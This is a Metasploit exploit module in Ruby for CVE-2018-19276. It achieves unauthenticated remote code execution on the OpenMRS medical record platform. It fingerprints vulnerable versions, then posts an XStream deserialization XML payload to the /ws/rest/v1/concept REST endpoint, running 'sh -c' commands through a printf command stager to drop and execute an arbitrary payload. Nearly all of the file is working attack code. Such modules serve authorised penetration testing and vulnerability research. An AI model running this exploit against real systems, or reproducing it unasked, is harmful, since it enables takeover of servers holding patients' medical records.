##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'OpenMRS Java Deserialization RCE',
      'Description'    => %q(
        OpenMRS is an open-source platform that supplies
        users with a customizable medical record system.

        There exists an object deserialization vulnerability
        in the `webservices.rest` module used in OpenMRS Platform.
        Unauthenticated remote code execution can be achieved
        by sending a malicious XML payload to a Rest API endpoint
        such as `/ws/rest/v1/concept`.

        This module uses an XML payload generated with Marshalsec
        that targets the ImageIO component of the XStream library.

        Tested on OpenMRS Platform `v2.1.2` and `v2.21` with Java
        8 and Java 9.
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        'Nicolas Serra', # Vuln Discovery and PoC
        'mpgn',          # PoC
        'Shelby Pace'    # Metasploit Module
      ],
      'References'     =>
       [
         [ 'CVE', '2018-19276' ],
         [ 'URL', 'https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607' ],
         [ 'URL', 'https://know.bishopfox.com/advisories/news/2019/02/openmrs-insecure-object-deserialization' ],
         [ 'URL', 'https://github.com/mpgn/CVE-2018-19276/' ]
       ],
      'Platform'       => [ 'unix', 'linux' ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'Targets'        =>
       [
         [ 'Linux',
           {
             'Arch'             =>  [ ARCH_X86, ARCH_X64 ],
             'Platform'         =>  [ 'unix', 'linux' ],
             'CmdStagerFlavor'  => 'printf'
           }
         ]
       ],
      'DisclosureDate' => '2019-02-04',
      'DefaultTarget'  => 0
    ))

    register_options(
    [
      Opt::RPORT(8081),
      OptString.new('TARGETURI', [ true, 'Base URI for OpenMRS', '/' ])
    ])
  end

  def check
    res = send_request_cgi!('method' => 'GET', 'uri' => normalize_uri(target_uri.path))
    return CheckCode::Unknown("OpenMRS page unreachable.") unless res

    return CheckCode::Safe('Page discovered is not OpenMRS.') unless res.body.downcase.include?('openmrs')
    response = res.get_html_document
    version = response.at('body//h3')
    return CheckCode::Detected('Successfully identified OpenMRS, but cannot detect version') unless version && version.text

    version_no = version.text
    version_no = version_no.match(/\d+\.\d+\.\d*/)
    return CheckCode::Detected('Successfully identified OpenMRS, but cannot detect version') unless version_no

    version_no = Rex::Version.new(version_no)

    if (version_no < Rex::Version.new('1.11.8') || version_no.between?(Rex::Version.new('2'), Rex::Version.new('2.1.3')))
      return CheckCode::Appears("OpenMRS platform version: #{version_no}")
    end

    CheckCode::Safe
  end

  def format_payload
    payload_data = payload.encoded.to_s.encode(xml: :text)
    payload_arr = payload_data.split(' ', 3)
    payload_arr.map { |arg| "<string>#{arg}</string>" }.join.gsub("'", "")
  end

  def read_payload_data(payload_cmd)
    # payload generated with Marshalsec
    erb_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-19276', 'payload.erb')
    payload_data = File.binread(erb_path)
    payload_data = ERB.new(payload_data).result(binding)

  rescue Errno::ENOENT
    fail_with(Failure::NotFound, "Failed to find erb file at the given path: #{erb_path}")
  end

  def execute_command(cmd, opts={})
    cmd = cmd.encode(xml: :text)
    xml_data = "<string>sh</string><string>-c</string><string>#{cmd}</string>"
    rest_uri = normalize_uri(target_uri.path, 'ws', 'rest', 'v1', 'concept')
    payload_data = read_payload_data(xml_data)

    send_request_cgi(
      'method'    =>  'POST',
      'uri'       =>  rest_uri,
      'headers'   =>  { 'Content-Type'  =>  'text/xml' },
      'data'      =>  payload_data
    )
  end

  def exploit
    cmds = generate_cmdstager(:concat_operator => '&&')
    print_status('Sending payload...')
    cmds.first.split('&&').map { |cmd| execute_command(cmd) }
  end
end
